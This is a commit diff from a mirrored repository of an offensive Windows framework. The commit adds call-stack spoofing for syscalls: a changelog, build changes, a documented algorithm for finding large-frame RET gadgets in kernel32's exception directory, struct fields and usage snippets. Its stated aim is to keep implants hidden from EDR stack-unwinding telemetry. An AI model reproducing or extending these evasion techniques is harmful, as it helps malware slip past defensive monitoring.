mirror of
https://github.com/youssefnoob003/SindriKit
synced 2026-07-07 21:57:09 +00:00
Release v1.3.0: Stack Spoofing & Dynamic Fat Frames
- Implemented native Call Stack Spoofing with a coordinated JMP-Trampoline - Added dynamic .pdata Exception Directory parsing to discover Fat Frames (>= 120 bytes) - Added x86 & x64 spoofed MASM stubs with synchronized EDR unwinder offset logic
This commit is contained in:
@@ -6,6 +6,17 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## [1.3.0] - 2026-07-06
|
||||||
|
|
||||||
|
Fourth major release. The framework introduces Call Stack Spoofing to defeat EDR virtual unwinding telemetry.
|
||||||
|
|
||||||
|
### Major Additions
|
||||||
|
- **Advanced Stack Spoofing (`snd_syscall_spoofed_invoke_asm`)**: Implemented full Call Stack Spoofing natively into the execution pipeline using a dynamic JMP-Trampoline.
|
||||||
|
- **Dynamic Fat Frame Discovery (`snd_syscall_find_spoof_scan`)**: Automatically parses the Exception Directory (`.pdata`) of `kernel32.dll` to locate functions with massive shadow stack allocations (>= 120 bytes). Embeds the syscall return gadget inside this frame, tricking `RtlVirtualUnwind` into parsing a perfectly intact, legitimate call chain without desynchronization.
|
||||||
|
- **Pipeline Overhaul**: Added `pSpoofAddr` and `dwSpoofFrameSize` to `snd_syscall_entry_t`. Added `snd_syscall_set_spoof_finder` to configure the spoof engine.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## [1.2.0] - 2026-06-29
|
## [1.2.0] - 2026-06-29
|
||||||
|
|
||||||
Third major release. The framework introduces indirect syscalls and significantly improves the execution pipeline's flexibility and operator experience.
|
Third major release. The framework introduces indirect syscalls and significantly improves the execution pipeline's flexibility and operator experience.
|
||||||
|
|||||||
+14
-6
@@ -30,12 +30,20 @@ endif()
|
|||||||
|
|
||||||
# --- Architecture-specific assembly ---
|
# --- Architecture-specific assembly ---
|
||||||
if(CMAKE_SIZEOF_VOID_P EQUAL 8)
|
if(CMAKE_SIZEOF_VOID_P EQUAL 8)
|
||||||
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x64.asm src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm)
|
set(SINDRI_EXEC_ASM
|
||||||
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm)
|
src/primitives/execution/syscalls/asm/invoke_direct_x64.asm
|
||||||
|
src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm
|
||||||
|
src/primitives/execution/syscalls/asm/invoke_spoofed_x64.asm
|
||||||
|
src/primitives/execution/ffi/asm/ffi_x64.asm
|
||||||
|
)
|
||||||
set(HEAVENSGATE_ASM "")
|
set(HEAVENSGATE_ASM "")
|
||||||
else()
|
else()
|
||||||
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x86.asm src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm)
|
set(SINDRI_EXEC_ASM
|
||||||
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm)
|
src/primitives/execution/syscalls/asm/invoke_direct_x86.asm
|
||||||
|
src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm
|
||||||
|
src/primitives/execution/syscalls/asm/invoke_spoofed_x86.asm
|
||||||
|
src/primitives/execution/ffi/asm/ffi_x86.asm
|
||||||
|
)
|
||||||
set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm)
|
set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm)
|
||||||
endif()
|
endif()
|
||||||
|
|
||||||
@@ -112,10 +120,10 @@ add_library(sindri_engine STATIC
|
|||||||
src/primitives/execution/syscalls/syscalls_scan.c
|
src/primitives/execution/syscalls/syscalls_scan.c
|
||||||
src/primitives/execution/syscalls/syscalls_sort.c
|
src/primitives/execution/syscalls/syscalls_sort.c
|
||||||
src/primitives/execution/syscalls/gadget_scan.c
|
src/primitives/execution/syscalls/gadget_scan.c
|
||||||
|
src/primitives/execution/syscalls/spoof_scan.c
|
||||||
|
|
||||||
# Assembly & generated
|
# Assembly & generated
|
||||||
${SYSCALL_ASM}
|
${SINDRI_EXEC_ASM}
|
||||||
${EXECUTION_ASM}
|
|
||||||
${HEAVENSGATE_ASM}
|
${HEAVENSGATE_ASM}
|
||||||
${GENERATED_HEADER}
|
${GENERATED_HEADER}
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -49,3 +49,4 @@ WriteProcessMemory
|
|||||||
VirtualProtectEx
|
VirtualProtectEx
|
||||||
CreateRemoteThread
|
CreateRemoteThread
|
||||||
CloseHandle
|
CloseHandle
|
||||||
|
BaseThreadInitThunk
|
||||||
|
|||||||
@@ -76,7 +76,7 @@ There is **no** `snd_mod_sys`. Import resolution during reflective load uses PEB
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `_win` | Documented Win32 APIs | memory, modules, mapping, process |
|
| `_win` | Documented Win32 APIs | memory, modules, mapping, process |
|
||||||
| `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process |
|
| `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process |
|
||||||
| `_sys` | Direct or indirect syscalls (configurable invoker) | memory, mapping, process — **not** modules |
|
| `_sys` | Direct, indirect, or spoofed syscalls (configurable invoker) | memory, mapping, process — **not** modules |
|
||||||
|
|
||||||
### OpSec profile examples
|
### OpSec profile examples
|
||||||
|
|
||||||
@@ -103,9 +103,10 @@ snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
|||||||
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
// or for indirect syscalls:
|
// or for indirect/spoofed syscalls:
|
||||||
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
|
||||||
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
|
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit.
|
This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit.
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ Foundation layer for SindriKit. Loaders, injection, and future domains rely on i
|
|||||||
| [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) |
|
| [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) |
|
||||||
| [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls |
|
| [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls |
|
||||||
| [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` |
|
| [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` |
|
||||||
| [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect) |
|
| [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect / spoofed) |
|
||||||
| [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate |
|
| [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate |
|
||||||
|
|
||||||
Contract definitions: `include/sindri/primitives/os_api.h`
|
Contract definitions: `include/sindri/primitives/os_api.h`
|
||||||
|
|||||||
@@ -95,5 +95,6 @@ snd_status_t snd_hg_execute_64(
|
|||||||
| `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call |
|
| `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call |
|
||||||
| `snd_syscall_direct_invoke_asm` | `syscalls/asm/invoke_direct_x64.asm` or `invoke_direct_x86.asm` | Direct `syscall` / `sysenter` instruction stub |
|
| `snd_syscall_direct_invoke_asm` | `syscalls/asm/invoke_direct_x64.asm` or `invoke_direct_x86.asm` | Direct `syscall` / `sysenter` instruction stub |
|
||||||
| `snd_syscall_indirect_invoke_asm` | `syscalls/asm/invoke_indirect_x64.asm` or `invoke_indirect_x86.asm` | Indirect syscall via NTDLL gadget |
|
| `snd_syscall_indirect_invoke_asm` | `syscalls/asm/invoke_indirect_x64.asm` or `invoke_indirect_x86.asm` | Indirect syscall via NTDLL gadget |
|
||||||
|
| `snd_syscall_spoofed_invoke_asm` | `syscalls/asm/invoke_spoofed_x64.asm` or `invoke_spoofed_x86.asm` | Spoofed syscall via Fat Frame gadget |
|
||||||
|
|
||||||
These are linked into `sindri::engine`; callers use the C wrappers above.
|
These are linked into `sindri::engine`; callers use the C wrappers above.
|
||||||
|
|||||||
@@ -56,18 +56,11 @@ Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (ma
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
|
||||||
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
|
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
|
||||||
|
| `snd_syscall_spoofed_invoke_asm` | `invoke_spoofed_x64.asm` / `invoke_spoofed_x86.asm` | Spoofs call stack with dynamic Fat Frame discovery |
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_direct_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime.
|
> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_indirect_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime.
|
||||||
|
|
||||||
## Invocation modes
|
|
||||||
|
|
||||||
| Function | File | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
|
|
||||||
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
|
|
||||||
|
|
||||||
> **Note on `SND_USE_DEFAULTS`**: When enabled, the framework pre-configures the invoker (indirect), gadget finder, and primary resolver automatically.
|
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
|
|
||||||
|
|||||||
@@ -25,6 +25,8 @@ Internal pipeline depth: **4 strategies** (`SND_MAX_INTERNAL_STRATEGIES` in `sys
|
|||||||
| `dwHash` | `DWORD` | Target function hash |
|
| `dwHash` | `DWORD` | Target function hash |
|
||||||
| `wSystemCall` | `WORD` | Resolved SSN |
|
| `wSystemCall` | `WORD` | Resolved SSN |
|
||||||
| `pSyscallAddr` | `PVOID` | Gadget address for indirect invocation (populated by gadget finder) |
|
| `pSyscallAddr` | `PVOID` | Gadget address for indirect invocation (populated by gadget finder) |
|
||||||
|
| `pSpoofAddr` | `PVOID` | Gadget address for spoofed invocation (populated by spoof finder) |
|
||||||
|
| `dwSpoofFrameSize` | `DWORD` | Frame size of the spoofed function (populated by spoof finder) |
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation.
|
> The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation.
|
||||||
@@ -38,6 +40,8 @@ Arguments for the syscall invoker (`snd_syscall_direct_invoke_asm` or `snd_sysca
|
|||||||
| `ssn` | `WORD` | SSN placed in `EAX`/`RAX` |
|
| `ssn` | `WORD` | SSN placed in `EAX`/`RAX` |
|
||||||
| `arg1`–`arg11` | `PVOID` | Syscall arguments |
|
| `arg1`–`arg11` | `PVOID` | Syscall arguments |
|
||||||
| `sys_addr` | `PVOID` | Gadget address for indirect invocation; ignored by direct stub |
|
| `sys_addr` | `PVOID` | Gadget address for indirect invocation; ignored by direct stub |
|
||||||
|
| `spoof_addr` | `PVOID` | Gadget address for spoofed invocation; ignored by other stubs |
|
||||||
|
| `spoof_frame_size` | `DWORD` | Frame size of the spoofed function; ignored by other stubs |
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> `sys_addr` is placed at the end of the struct to preserve memory offsets for args 1-11, ensuring backward compatibility with existing ASM stubs.
|
> `sys_addr` is placed at the end of the struct to preserve memory offsets for args 1-11, ensuring backward compatibility with existing ASM stubs.
|
||||||
@@ -150,6 +154,20 @@ Built-in: `snd_syscall_find_gadget_scan`.
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
### `snd_syscall_set_spoof_finder`
|
||||||
|
|
||||||
|
Sets the global spoof finder function pointer. Only required when using spoofed invocation.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void snd_syscall_set_spoof_finder(snd_syscall_spoof_finder_t finder);
|
||||||
|
```
|
||||||
|
|
||||||
|
Built-in: `snd_syscall_find_spoof_scan`.
|
||||||
|
|
||||||
|
**Source:** `src/primitives/execution/syscalls/syscalls.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Resolution & Execution
|
## Resolution & Execution
|
||||||
|
|
||||||
### `snd_syscall_resolve`
|
### `snd_syscall_resolve`
|
||||||
@@ -188,6 +206,18 @@ extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
### `snd_syscall_spoofed_invoke_asm`
|
||||||
|
|
||||||
|
Architecture-specific ASM stub (`invoke_spoofed_x64.asm` / `invoke_spoofed_x86.asm`). Jumps to a legitimate `syscall; ret` gadget inside NTDLL and spoofs the return address using a JMP-Trampoline inside a Fat Frame. Requires both `sys_addr` (via `snd_syscall_find_gadget_scan`) and `spoof_addr` / `spoof_frame_size` (via `snd_syscall_find_spoof_scan`).
|
||||||
|
|
||||||
|
```c
|
||||||
|
extern NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t *args);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Returns:** raw `NTSTATUS`, or `STATUS_INVALID_PARAMETER` (`0xC000000D`) if any required address is NULL
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Compile-Time Defaults (`SND_USE_DEFAULTS`)
|
## Compile-Time Defaults (`SND_USE_DEFAULTS`)
|
||||||
|
|
||||||
| Macro | Default value (when enabled) |
|
| Macro | Default value (when enabled) |
|
||||||
|
|||||||
@@ -129,6 +129,33 @@ Required when using `snd_syscall_indirect_invoke_asm`. The gadget finder runs au
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## Spoof finder (`snd_syscall_find_spoof_scan`)
|
||||||
|
|
||||||
|
**Source:** `spoof_scan.c`
|
||||||
|
|
||||||
|
Locates a trampoline gadget (`RET`) within a legitimate function in `kernel32.dll` to spoof the call stack return address.
|
||||||
|
|
||||||
|
### Algorithm (x64)
|
||||||
|
|
||||||
|
To prevent frame desynchronization during stack unwinding (where the EDR's `RtlVirtualUnwind` crashes trying to parse our spoofed return address), the spoof finder dynamically hunts for a **"Fat Frame"**.
|
||||||
|
|
||||||
|
1. Resolve the natively loaded `kernel32.dll` via PEB.
|
||||||
|
2. Manually parse the **Exception Directory** (`.pdata`) of `kernel32.dll` (avoiding native APIs like `RtlLookupFunctionEntry` for stealth).
|
||||||
|
3. Iterate through `RUNTIME_FUNCTION` entries and parse their `UNWIND_INFO` structures to calculate the total stack space allocated by each function.
|
||||||
|
4. Find a function that allocates at least **120 bytes** (a "Fat Frame"). This ensures the legitimate function's shadow space is large enough to encapsulate our spoofed JMP-trampoline and its arguments.
|
||||||
|
5. Scan the body of the Fat Frame function for a `0xC3` (`RET`) instruction.
|
||||||
|
6. Populate `entry->pSpoofAddr` with the gadget address and `entry->dwSpoofFrameSize` with the required stack offset.
|
||||||
|
|
||||||
|
### Algorithm (x86)
|
||||||
|
|
||||||
|
x86 does not use `.pdata` for exception handling. The scanner falls back to resolving `BaseThreadInitThunk` and scanning forward/backward for a simple `RET` gadget.
|
||||||
|
|
||||||
|
### When to use
|
||||||
|
|
||||||
|
Required when using `snd_syscall_spoofed_invoke_asm`. The spoof finder runs automatically during `snd_syscall_resolve` if `g_syscall_spoof_finder` is set.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Dependencies
|
## Dependencies
|
||||||
|
|
||||||
Both resolvers depend on:
|
Both resolvers depend on:
|
||||||
|
|||||||
@@ -12,8 +12,9 @@ SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime
|
|||||||
flowchart LR
|
flowchart LR
|
||||||
A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_set_resolver / _add"]
|
A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_set_resolver / _add"]
|
||||||
B --> C["3. snd_syscall_set_invoker"]
|
B --> C["3. snd_syscall_set_invoker"]
|
||||||
C --> D["4. snd_syscall_resolve"]
|
C --> D["4. snd_syscall_set_spoof_finder"]
|
||||||
D --> E["5. g_syscall_invoker"]
|
D --> E["5. snd_syscall_resolve"]
|
||||||
|
E --> F["6. g_syscall_invoker"]
|
||||||
```
|
```
|
||||||
|
|
||||||
### 1. Provide `ntdll` base
|
### 1. Provide `ntdll` base
|
||||||
@@ -56,7 +57,15 @@ snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); // required for ind
|
|||||||
|
|
||||||
Indirect invocation requires a gadget finder. `snd_syscall_find_gadget_scan` resolves the target function in the natively loaded NTDLL via PEB and scans for a `syscall; ret` gadget (x64) or the transition stub entry (x86).
|
Indirect invocation requires a gadget finder. `snd_syscall_find_gadget_scan` resolves the target function in the natively loaded NTDLL via PEB and scans for a `syscall; ret` gadget (x64) or the transition stub entry (x86).
|
||||||
|
|
||||||
### 4. Resolve SSN
|
### 4. Configure spoof finder (optional)
|
||||||
|
|
||||||
|
If using `snd_syscall_spoofed_invoke_asm`, you must configure a spoof finder. It dynamicallly searches for a "Fat Frame" in `kernel32.dll` to hide the call stack.
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Resolve SSN
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_syscall_entry_t entry = {0};
|
snd_syscall_entry_t entry = {0};
|
||||||
@@ -65,23 +74,25 @@ snd_status_t status = snd_syscall_resolve(SND_HASH_NTOPENSECTION, &entry);
|
|||||||
|
|
||||||
`snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`.
|
`snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`.
|
||||||
|
|
||||||
### 5. Invoke
|
### 6. Invoke
|
||||||
|
|
||||||
Populate `snd_syscall_args_t` and call via the global invoker:
|
Populate `snd_syscall_args_t` and call via the global invoker:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = ...;
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
|
args.arg1 = ...;
|
||||||
// arg2–arg11 as required by the target syscall
|
// arg2–arg11 as required by the target syscall
|
||||||
|
|
||||||
NTSTATUS nt_status = g_syscall_invoker(&args);
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
```
|
```
|
||||||
|
|
||||||
`sys_addr` is only used by the indirect invoker; the direct invoker ignores it.
|
`sys_addr` is only used by indirect/spoofed invokers. `spoof_addr` and `spoof_frame_size` are only used by the spoofed invoker.
|
||||||
|
|
||||||
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 4–5 internally — operators only bootstrap once at startup.
|
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 5–6 internally — operators only bootstrap once at startup.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -96,10 +107,9 @@ if (SND_FAILED(st)) return st;
|
|||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
|
||||||
// or for indirect syscalls:
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
|
||||||
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
|
||||||
|
|
||||||
// Resolve + invoke NtClose
|
// Resolve + invoke NtClose
|
||||||
snd_syscall_entry_t entry = {0};
|
snd_syscall_entry_t entry = {0};
|
||||||
@@ -107,9 +117,11 @@ st = snd_syscall_resolve(SND_HASH_NTCLOSE, &entry);
|
|||||||
if (SND_FAILED(st)) return st;
|
if (SND_FAILED(st)) return st;
|
||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
args.sys_addr = entry.pSyscallAddr;
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = handle;
|
args.spoof_addr = entry.pSpoofAddr;
|
||||||
|
args.spoof_frame_size = entry.dwSpoofFrameSize;
|
||||||
|
args.arg1 = handle;
|
||||||
|
|
||||||
NTSTATUS nt = g_syscall_invoker(&args);
|
NTSTATUS nt = g_syscall_invoker(&args);
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -83,6 +83,7 @@ typedef enum _SND_STATUS_CODE {
|
|||||||
|
|
||||||
// Syscall resolution errors
|
// Syscall resolution errors
|
||||||
SND_STATUS_SSN_NOT_FOUND = 0x500,
|
SND_STATUS_SSN_NOT_FOUND = 0x500,
|
||||||
|
SND_STATUS_GADGET_NOT_FOUND,
|
||||||
|
|
||||||
// PEB
|
// PEB
|
||||||
SND_STATUS_PEB_MODULE_NOT_FOUND = 0x600,
|
SND_STATUS_PEB_MODULE_NOT_FOUND = 0x600,
|
||||||
|
|||||||
@@ -23,6 +23,8 @@ typedef struct {
|
|||||||
DWORD dwHash;
|
DWORD dwHash;
|
||||||
WORD wSystemCall;
|
WORD wSystemCall;
|
||||||
PVOID pSyscallAddr;
|
PVOID pSyscallAddr;
|
||||||
|
PVOID pSpoofAddr;
|
||||||
|
DWORD dwSpoofFrameSize; // The actual frame size of the Fat Frame in bytes
|
||||||
} snd_syscall_entry_t;
|
} snd_syscall_entry_t;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -44,6 +46,8 @@ typedef struct {
|
|||||||
// Placed at the end to prevent altering the memory offsets of args 1-11
|
// Placed at the end to prevent altering the memory offsets of args 1-11
|
||||||
// inside the existing Direct ASM stub (invoke_x64.asm).
|
// inside the existing Direct ASM stub (invoke_x64.asm).
|
||||||
PVOID sys_addr;
|
PVOID sys_addr;
|
||||||
|
PVOID spoof_addr;
|
||||||
|
DWORD spoof_frame_size;
|
||||||
} snd_syscall_args_t;
|
} snd_syscall_args_t;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -57,15 +61,18 @@ typedef snd_status_t (*snd_syscall_gadget_finder_t)(snd_syscall_entry_t *entry);
|
|||||||
snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
||||||
snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
||||||
snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry);
|
snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry);
|
||||||
|
snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry);
|
||||||
|
|
||||||
#if SND_USE_DEFAULTS
|
#if SND_USE_DEFAULTS
|
||||||
#define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm
|
#define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm
|
||||||
#define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan
|
#define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan
|
||||||
#define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan
|
#define SND_SYSCALL_SPOOF_FINDER_DEFAULT snd_syscall_find_spoof_scan
|
||||||
|
#define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan
|
||||||
#else
|
#else
|
||||||
#define SND_SYSCALL_INVOKER_DEFAULT NULL
|
#define SND_SYSCALL_INVOKER_DEFAULT NULL
|
||||||
#define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL
|
#define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL
|
||||||
#define SND_SYSCALL_RESOLVER_DEFAULT NULL
|
#define SND_SYSCALL_SPOOF_FINDER_DEFAULT NULL
|
||||||
|
#define SND_SYSCALL_RESOLVER_DEFAULT NULL
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -82,6 +89,7 @@ void snd_syscall_set_resolver(snd_syscall_resolver_t resolver);
|
|||||||
snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver);
|
snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver);
|
||||||
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker);
|
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker);
|
||||||
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder);
|
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder);
|
||||||
|
void snd_syscall_set_spoof_finder(snd_syscall_gadget_finder_t finder);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Sets the global base address of the ntdll.dll module.
|
* @brief Sets the global base address of the ntdll.dll module.
|
||||||
@@ -106,6 +114,7 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
|
|||||||
*/
|
*/
|
||||||
extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args);
|
extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args);
|
||||||
extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
|
extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
|
||||||
|
extern NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t *args);
|
||||||
|
|
||||||
SND_END_EXTERN_C
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
|||||||
@@ -126,6 +126,8 @@ const char *snd_status_to_string(snd_status_t status) {
|
|||||||
// SSN related errors
|
// SSN related errors
|
||||||
case SND_STATUS_SSN_NOT_FOUND:
|
case SND_STATUS_SSN_NOT_FOUND:
|
||||||
return "SSN not found";
|
return "SSN not found";
|
||||||
|
case SND_STATUS_GADGET_NOT_FOUND:
|
||||||
|
return "Gadget not found";
|
||||||
|
|
||||||
// PEB related errors
|
// PEB related errors
|
||||||
case SND_STATUS_PEB_MODULE_NOT_FOUND:
|
case SND_STATUS_PEB_MODULE_NOT_FOUND:
|
||||||
|
|||||||
@@ -0,0 +1,92 @@
|
|||||||
|
; ===========================================================================
|
||||||
|
; invoke_spoofed_x64.asm - SindriKit Spoofed Syscall Invocation ASM Stub
|
||||||
|
; ===========================================================================
|
||||||
|
;
|
||||||
|
; Exports:
|
||||||
|
; snd_syscall_spoofed_invoke_asm
|
||||||
|
;
|
||||||
|
; Invokes a syscall indirectly by jumping to a legitimate `syscall` gadget
|
||||||
|
; within ntdll.dll, but spoofs the return address pushed onto the stack
|
||||||
|
; so that call stack telemetry sees the spoofed address instead of the payload
|
||||||
|
; address Uses MASM SEH directives (.pdata/.xdata) to ensure consistent
|
||||||
|
; unwinding.
|
||||||
|
; ===========================================================================
|
||||||
|
|
||||||
